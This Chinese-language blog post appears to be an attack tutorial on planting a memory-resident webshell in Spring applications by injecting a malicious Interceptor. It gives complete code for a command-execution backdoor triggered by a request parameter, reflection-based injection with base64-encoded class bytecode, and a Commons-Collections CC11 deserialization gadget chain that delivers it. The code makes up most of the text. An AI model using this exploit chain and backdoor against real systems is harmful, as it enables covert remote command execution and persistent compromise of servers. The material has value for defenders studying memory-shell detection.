前言
随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关,复杂均衡,防火墙。所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃,我们该如何解决这个问题?
所以,在注入内存马的时候,就尽量不要用新建的路由,或者shell地址。最好是在访问正常的业务地址之前,就能执行我们的代码。
流程分析
我们先在org.apache.catalina.core.ApplicationFilterChain
中的 internalDoFilter
方法中打断点
可以查看到执行流程
看起来和我们之前调试的Tomcat很像。
但是这里不同的是在经过 Filter 层面处理后,就会进入熟悉的 spring-webmvc
组件 org.springframework.web.servlet.DispatcherServlet
类的 doDispatch
方法中。
跟进这个方法,这里调用了getHandler
,继续跟进
可以看到是遍历this.handlerMappings
这个迭代器中的mapper
的getHandler
方法处理Http中的request请求。
继续追踪,最终会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping
类的 getHandler
方法,并通过 getHandlerExecutionChain(handler, request)
方法返回 HandlerExecutionChain
类的实例。
跟进getHandlerExecutionChain
发现会遍历 this.adaptedInterceptors
对象里所有的 HandlerInterceptor
类实例,通过 chain.addInterceptor
把已有的所有拦截器加入到需要返回的 HandlerExecutionChain
类实例中。以上就是添加拦截器(interceptor
)。
接下来看看在哪里调用。继续往下跟
跟进之后发现interceptor.preHandle(request, response, this.handler)
会遍历拦截器,并执行其preHandle
方法。
如果程序提前在调用的 Controller
上设置了 Aspect
(切面),那么在正式调用 Controller
前实际上会先调用切面的代码,一定程度上也起到了 “拦截” 的效果。
那么总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层:
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller
攻击构造
用 Interceptor
来拦截所有进入 Controller
的 http 请求理论上是可行的,接下来就是实现从代码层面动态注入一个 Interceptor
来达到 webshell
的效果。
实现恶意Interceptor
首先,我写了一个继承自 org.springframework.web.servlet.handler.HandlerInterceptorAdapter
类,名为 VulInterceptor
的拦截器,并重写了 preHandle
方法,在其中实现一个简单的命令执行回显的 webshell 逻辑。
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;
public class VulInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
获取 ApplicationContext
然后,根据前面的详细分析,我选择把上面的 VulInterceptor
类实例手动注入到 org.springframework.web.servlet.handler.AbstractHandlerMapping
类的 adaptedInterceptors
属性中。
这里就遇到了个问题,怎么拿到当前代码运行环境中原来的 adaptedInterceptors
属性值呢?这里可以从当前代码运行时的上下文环境 ApplicationContext
中去寻找。
且网上都有的四种获得ApplicationContext
实例,这里随便选用一种。
获取adaptedInterceptors 属性值
获得 ApplicationContext
实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping
类实例的 bean name 叫什么。
bean 实例名字是 requestMappingHandlerMapping
或者比较老版本的 DefaultAnnotationHandlerMapping
。
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
注入Interceptor
万事俱备,最后只要把第一步实现的恶意 Interceptor 类加入到 adaptedInterceptors
属性值中就可以了。
这里顺便讲个小技巧,可以把 VulInterceptor
类在当前线程上下文的 ClassLoader 中定义,然后再从其中取出来就可以获得类实例了。
String className = "VulInterceptor";
String b64 = "......"; // VulInterceptor 类 class 的 base64 编码
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className);
}catch (ClassNotFoundException e){
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, className, bytes, 0, bytes.length);
adaptedInterceptors.add(classLoader.loadClass("magicInterceptor").newInstance());
}
所以内存马:
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Evil {
public Evil() throws Exception{
//获得context
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//获取 adaptedInterceptors 属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
//注入 Interceptor
String className = "VulInterceptor";
String b64 = "yv66vgAAADQAlgoAIwBPCABQCwBRAFILAFMAVAgAVQgAVgoAVwBYCgAMAFkIAFoKAAwAWwcAXAcAXQgAXggAXwoACwBgCABhCABiBwBjCgALAGQKAGUAZgoAEgBnCABoCgASAGkKABIAagoAEgBrCgASAGwKAG0AbgoAbQBvCgBtAGwLAFMAcAcAcQsAJAByCwAkAHMHAHQHAHUHAHYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExWdWxJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAEYXJnMAEABndyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0U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ALkrEgK5AAMCADoELLkABAEAOgUZBMYAlRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAMLBEBlLkAHgIApwAFOgQErAABAAAAsgC1AB8AAwAoAAAARgARAAAADgAKAA8AEgAQABcAEQAbABMAKwAUAEoAFgBmABgAfAAZAJAAGgCVABsAnAAcAKEAHQCmAB4AqQAgALIAIgC3ACMAKQAAAGYACgBHAAMALgAvAAcAGwCLADAAMQAGAGYAQAAuAC8ABwB8ACoAMgAzAAgACgCoADQAMQAEABIAoAA1ADYABQAAALkAKgArAAAAAAC5ADcAOAABAAAAuQA5ADoAAgAAALkAOwA8AAMAPQAAACkACP4ASgcAPgcAPwcAPvwAGwcAQPwAJQcAQUEHAD74ABr5AAhCBwBCAQBDAAAABAABAB8ARAAAAA0DADcAAAA5AAAAOwAAAAEARQBGAAMAJwAAAGAABQAFAAAACiorLC0ZBLcAILEAAAACACgAAAAKAAIAAAAoAAkAKQApAAAANAAFAAAACgAqACsAAAAAAAoANwA4AAEAAAAKADkAOgACAAAACgA7ADwAAwAAAAoARwBIAAQAQwAAAAQAAQAfAEQAAAARBAA3AAAAOQAAADsAAABHAAAAAQBJAEoAAwAnAAAAYAAFAAUAAAAKKissLRkEtwAhsQAAAAIAKAAAAAoAAgAAAC0ACQAuACkAAAA0AAUAAAAKACoAKwAAAAAACgA3ADgAAQAAAAoAOQA6AAIAAAAKADsAPAADAAAACgBLAEwABABDAAAABAABAB8ARAAAABEEADcAAAA5AAAAOwAAAEsAAAABAE0AAAACAE4="; // magicInterceptor 类 class 的 base64 编码
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className);
}catch (ClassNotFoundException e){
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, className, bytes, 0, bytes.length);
adaptedInterceptors.add(classLoader.loadClass("VulInterceptor").newInstance());
}
}
}
然后我们还是用我们上篇文章的环境打一下。
依然要记得给exp加一个父类为AbstractTranslet。
exp
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
public class Evil extends AbstractTranslet {
public Evil() throws Exception{
//获得context
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//获取 adaptedInterceptors 属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
//注入 Interceptor
String className = "VulInterceptor";
String b64 = "yv66vgAAADQAiAoAIABHCAA4CwBIAEkLAEoASwgATAgATQoATgBPCgAMAFAIAFEKAAwAUgcAUwcAVAgAVQgAVgoACwBXCABYCABZBwBaCgALAFsKAFwAXQoAEgBeCABfCgASAGAKABIAYQoAEgBiCgASAGMKAGQAZQoAZABmCgBkAGMHAGcHAGgHAGkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAST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HpwAfuwALWQa9AAxZAxIQU1kEEhFTWQUZBFO3AA86B7sAElkZB7YAE7YAFLcAFRIWtgAXOggZCLYAGJkACxkItgAZpwAFGQY6BhkItgAaGQUZBrYAGxkFtgAcGQW2AB2nAAU6BQOsBKwAAQAPAKYAqQAeAAMAJAAAAEYAEQAAAAgACgAJAA8ACwAXAAwAGwAOACsADwBKABEAZgATAHwAFACQABUAlQAWAJwAFwChABgApgAaAKkAGQCrABsArQAdACUAAABmAAoARwADACoAKwAHABcAjwAsAC0ABQAbAIsALgAvAAYAZgBAACoAKwAHAHwAKgAwADEACAAAAK8AJgAnAAAAAACvADIAMwABAAAArwA0ADUAAgAAAK8ANgA3AAMACgClADgALwAEADkAAAA5AAf+AEoHADoHADsHADr8ABsHADz8ACUHAD1BBwA6/wAaAAUHAD4HAD8HAEAHAEEHADoAAQcAQgEBAEMAAAAEAAEAHgBEAAAADQMAMgAAADQAAAA2AAAAAQBFAAAAAgBG";
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, className, bytes, 0, bytes.length);
adaptedInterceptors.add(classLoader.loadClass("VulInterceptor").newInstance());
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
编译,进行base64填入cc11链中。
cc11链
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
@SuppressWarnings("all")
public class CC11 {
public static void main(String[] args) throws Exception {
// 利用javasist动态创建恶意字节码
byte[] classBytes = Base64.getDecoder().decode("yv66vgAAADQAnQoAIwBPCgBQAFEIAFILAFMAVAcAVQgAVgsABQBXBwBYCAAxCgAXAFkKAFoAWwoAWgBcBwBdCABeCABfBwBgCgAXAGEKABAAYgoAYwBkCgBjAGUHAGYIAGcHAGgHAGkHADcJAGoAawoAFwBsCgBtAFsHAG4KAGoAbwoAbQBwCgAVAHEKAA0AcgcAcwcAdAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABZhYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAANiNjQBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAm0wAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQApTGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAApFeGNlcHRpb25zBwB1AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFja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wAAMANgB/ADEAMgAEADoAewAzADQABQA+AHcANQA0AAYATQBoADYANwAHAFUAYAA4ADkACAB4AD0AOgA7AAkAPAAAAAwAAQA2AH8AMQA9AAQAPgAAAAQAAQA/AAEAQABBAAMAJgAAAD8AAAADAAAAAbEAAAACACcAAAAGAAEAAAAgACgAAAAgAAMAAAABACkAKgAAAAAAAQBCAEMAAQAAAAEARABFAAIAPgAAAAQAAQBGAEcAAAAJAgBCAAAARAAAAAEAQABIAAMAJgAAAEkAAAAEAAAAAbEAAAACACcAAAAGAAEAAAAlACgAAAAqAAQAAAABACkAKgAAAAAAAQBCAEMAAQAAAAEASQBKAAIAAAABAEsATAADAD4AAAAEAAEARgBHAAAADQMAQgAAAEkAAABLAAAAAQBNAAAAAgBO");
// 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashset);
oos.close();
// System.out.println(barr);
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
// ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
// inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
注入效果:
现在任意路由访问输入code参数都是后门。
参考